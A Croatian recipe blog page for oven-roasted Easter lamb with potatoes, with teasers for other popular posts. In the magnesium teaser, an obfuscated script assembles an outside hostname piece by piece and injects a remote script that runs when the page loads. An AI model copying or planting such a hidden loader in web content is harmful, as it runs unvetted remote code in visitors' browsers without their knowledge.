JANJETINA S KRUMPIROM IZ PEĆNICE 🥔





Janjetina s krumpirom iz pećnice 




Svi znamo da je najveća gastro klasika za Uskrs uvijek ona vezana uz doručak, kada se poslužuju šunkica, jaja, rotkvice, mladi luk, pinca i francuska salata. No, što s ručkom? E pa tu u prvi plan dolazi mlada janjetina iz pećnice, koja se topi u ustima ako se pravilno priprema.





Janjetina s krumpirom iz pećnice 


Sastojci:

  • 1,5 – 2 kg janjetine (but ili plećka)
  • 1,5 kg krumpira
  • 4-6 češnjeva češnjaka
  • 2-3 grančice svježeg ružmarina (ili suhi)
  • 100 ml maslinovog ulja
  • sol i svježe mljeveni papar
  • 1 dl bijelog vina (po želji)
  • 1 dl vode ili temeljca



Priprema:

  • Janjetinu operite i dobro osušite papirnatim ručnicima. Zarežite je na nekoliko mjesta pa u utore umetnite ploške češnjaka i grančice ružmarina. Dobro posolite i popaprite sa svih strana.
  • Krumpire ogulite i narežite na veće komade (četvrtine ili polovice). Posolite ih i lagano prelijte maslinovim uljem.
  • U veću tepsiju rasporedite krumpire, a na njih položite janjetinu. Prelijte ostatkom ulja i dodajte vino i vodu. Pećnicu zagrijte na 180 °C. Pokrijte tepsiju aluminijskom folijom i pecite oko 1,5 sat. Zatim maknite foliju, pojačajte temperaturu na 200 °C i pecite još 30-45 minuta dok kožica ne postane hrskava, a krumpiri zlatno-smeđi.
  • Tijekom pečenja povremeno prelijte meso vlastitim sokovima kako bi ostalo sočno.
  • Izvadite janjetinu iz pećnice i ostavite je da odmori 10-15 minuta prije rezanja. Poslužite uz pečene krumpire, svježi mladi luk, rotkvice i naribani hren.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

BRZI KINDER BUENO KOLAČ BEZ PEČENJA

Slika
<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Brzi kinder bueno kolač bez pečenja  Bez obzira na to držite li se određenog tipa prehrane ili režima vježbanja, s vremena na vrijeme u redu je počastiti se omiljenom slasticom, a ovaj Kinder Bueno kolač ima sve što će utažiti želju za slatkim. Slasna krema, hrskavi keks i čokoladna glazura odmah su nas uvjerili da ga moramo isprobati. Brzi kinder bueno kolač bez pečenja  Sastojci: 300g plazma keksa + 100 ml mlijeka 350 ml slatkog vrhnja 200 g sirnog namaza 100 g šećera u prahu 3 pune žlice bijele Lino Lade 5 Kinder Bueno čokoladica 100 g Kinder čokoladica + 50 ml slatkog vrhnja Priprema: Za pripremu ovog kolača koristite kalup ili posudu dimenzija 27×18 cm. Sirni namaz i šećer pomiješajte pa mikserom umutite slatko vrhnje. U dobiveni šlag dodajte mješavinu sira i šećera te bijelu Lino La...
Pročitajte više